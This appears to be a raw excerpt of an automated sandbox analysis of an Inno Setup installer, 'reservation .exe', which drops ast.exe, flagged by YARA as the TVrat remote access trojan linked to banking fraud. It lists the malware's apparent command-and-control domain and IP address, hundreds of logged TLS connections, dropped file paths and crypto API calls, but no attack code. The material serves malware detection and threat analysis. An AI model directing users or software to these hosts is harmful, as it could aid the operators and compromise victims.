Source: ast.exe, 0000000A.00000003.2895297263.0000000005C36000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914306157.0000000005C39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443dm
Source: ast.exe, 0000000A.00000003.2784033119.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2807629713.0000000005C27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443g
Source: ast.exe, 0000000A.00000003.3265137068.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3267513698.0000000005C25000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443g1
Source: ast.exe, 0000000A.00000002.3306161257.0000000000D73000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443g=
Source: ast.exe, 0000000A.00000003.3007986036.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443gD
Source: ast.exe, 0000000A.00000003.3183555638.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2895606355.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443gE
Source: ast.exe, 0000000A.00000003.2895606355.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C20000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073381090.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3267513698.0000000005C25000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2914485845.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443gK
Source: ast.exe, 0000000A.00000003.3183555638.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3007986036.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3321452635.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443gW
Source: ast.exe, 0000000A.00000002.3321452635.0000000005C1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443gh
Source: ast.exe, 0000000A.00000003.3183555638.0000000005C1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443gt
Source: ast.exe, 0000000A.00000003.3299966293.0000000005C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443gz
Source: ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3320611390.0000000005BE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443ln
Source: ast.exe, 0000000A.00000003.2895297263.0000000005C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443lnJm&
Source: ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443lnd
Source: ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443lndm
Source: ast.exe, 0000000A.00000003.3034764637.0000000005C3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443lnmm
Source: ast.exe, 0000000A.00000002.3320611390.0000000005BE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443lnw#
Source: ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ai:443mm
Source: ast.exe, 0000000A.00000002.3306161257.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiI
Source: ast.exe, 0000000A.00000003.2784241804.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiZ
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BFC000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.2807379986.0000000005C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aid
Source: ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aid003
Source: ast.exe, 0000000A.00000003.3183555638.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aidll
Source: ast.exe, 0000000A.00000002.3322683873.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aidllm
Source: ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aie
Source: ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aie03
Source: ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aieY
Source: ast.exe, 0000000A.00000003.2914715160.0000000005BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aierW
Source: ast.exe, 0000000A.00000002.3307636336.0000000002F24000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiexe03
Source: ast.exe, 0000000A.00000002.3325606674.000000000889D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aifgGu
Source: ast.exe, 0000000A.00000003.3073381090.0000000005C35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiget
Source: ast.exe, 0000000A.00000002.3324808318.0000000006D4D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aigiGu
Source: ast.exe, 0000000A.00000002.3325486557.0000000007E9D000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aiheGu
Source: ast.exe, 0000000A.00000002.3307636336.0000000002EF2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aii
Source: ast.exe, 0000000A.00000002.3322683873.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aim;
Source: ast.exe, 0000000A.00000003.3183555638.0000000005BFB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1aink
Source: ast.exe, 0000000A.00000003.3007753831.0000000005C36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ainkEx
Source: ast.exe, 0000000A.00000003.2914715160.0000000005BFD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ait.exe
Source: ast.exe, 0000000A.00000003.3034764637.0000000005C3B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aablc.xn--p1ait.exeje
Source: ast.exe, 0000000A.00000003.3183555638.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--80akicokc0aai
Source: ast.exe, 0000000A.00000003.3265864125.0000000005C69000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265137068.0000000005C68000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://id.xn--8X
Source: reservation .exe	String found in binary or memory: https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU
Source: xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0B
Source: reservation .tmp, 00000004.00000003.2450314953.00000000065BE000.00000004.00001000.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2726150337.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2458749417.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0C
Source: xcopy.exe, 00000008.00000003.2451867441.0000000003108000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454251899.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2454713118.0000000002EA8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2459594021.0000000002EA9000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2455429869.0000000002EBF000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000313E000.00000004.00000020.00020000.00000000.sdmp, is-RFQHO.tmp.4.dr, is-8MMT6.tmp.4.dr	String found in binary or memory: https://sectigo.com/CPS0D
Source: reservation .exe	String found in binary or memory: https://www.globalsign.com/repository/0
Source: ast.exe, 0000000A.00000003.2895606355.0000000005BD1000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3265017891.0000000005C86000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000003.3299122357.0000000005C8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.globalsign.com/repository/0D
Source: reservation .exe, 00000000.00000003.2037832146.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, reservation .exe, 00000000.00000003.2037382869.0000000002640000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000002.00000000.2039348105.0000000000401000.00000020.00000001.01000000.00000004.sdmp, reservation .tmp.3.dr	String found in binary or memory: https://www.innosetup.com/
Source: xcopy.exe, 00000008.00000003.2459594021.0000000002EC8000.00000004.00000020.00020000.00000000.sdmp, xcopy.exe, 00000008.00000003.2456715536.000000000312B000.00000004.00000020.00020000.00000000.sdmp, ast.exe, 0000000A.00000002.3330125779.000000006BCA0000.00000002.00000001.01000000.00000014.sdmp, ast.exe, 0000000A.00000002.3336427984.000000006C722000.00000002.00000001.01000000.00000013.sdmp, is-RFQHO.tmp.4.dr	String found in binary or memory: https://www.openssl.org/H
Source: xcopy.exe, 00000008.00000003.2457697380.000000000310F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.openssl.org/docs/faq.html
Source: reservation .exe, 00000000.00000003.2037832146.000000007FB40000.00000004.00001000.00020000.00000000.sdmp, reservation .exe, 00000000.00000003.2037382869.0000000002640000.00000004.00001000.00020000.00000000.sdmp, reservation .tmp, 00000002.00000000.2039348105.0000000000401000.00000020.00000001.01000000.00000004.sdmp, reservation .tmp.3.dr	String found in binary or memory: https://www.remobjects.com/ps

Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50108
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50159 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50117
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50147 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50111
Source: unknown	Network traffic detected: HTTP traffic on port 50114 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50114
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50084
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50129
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50120
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50150 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 50111 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50123
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50126
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 50153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50132
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50135
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50129 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50135 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50144 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50123 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50144
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50147
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50150
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50084 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50156
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50159
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50132 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49985 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49988 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49991 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49994 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:49997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50003 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50006 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50009 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50015 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50021 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50036 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50042 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50054 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50063 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50081 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50090 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50117 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50120 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50126 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50132 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50150 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50156 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 212.193.169.65:443 -> 192.168.2.5:50159 version: TLS 1.2

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: Process Memory Space: ast.exe PID: 3380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\fat\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, type: DROPPED

E-Banking Fraud

Yara detected TVrat

Source: Yara match	File source: 10.0.ast.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000000.2727527393.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: ast.exe PID: 3380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\fat\ast.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, type: DROPPED

Source: C:\Users\user\AppData\Roaming\fat\ast.exe

Code function: 10_2_6B6C8010 CryptAcquireContextA,CryptImportKey,CryptReleaseContext,CryptEncrypt,CryptDestroyKey,CryptReleaseContext,

10_2_6B6C8010

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6EFEF0	10_2_6B6EFEF0
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6C2D20	10_2_6B6C2D20
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6C7380	10_2_6B6C7380
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B700A40	10_2_6B700A40
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6E1170	10_2_6B6E1170
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6CF950	10_2_6B6CF950
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6F6F40	10_2_6B6F6F40
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6C7730	10_2_6B6C7730
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6EA790	10_2_6B6EA790
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6CEEA0	10_2_6B6CEEA0
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6F75D0	10_2_6B6F75D0
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B71BCF0	10_2_6B71BCF0
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: 10_2_6B6EDCD0	10_2_6B6EDCD0

Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: String function: 6B6F06B0 appears 135 times
Source: C:\Users\user\AppData\Roaming\fat\ast.exe	Code function: String function: 6B6F05D0 appears 162 times

Source: reservation .exe

Static PE information: invalid certificate

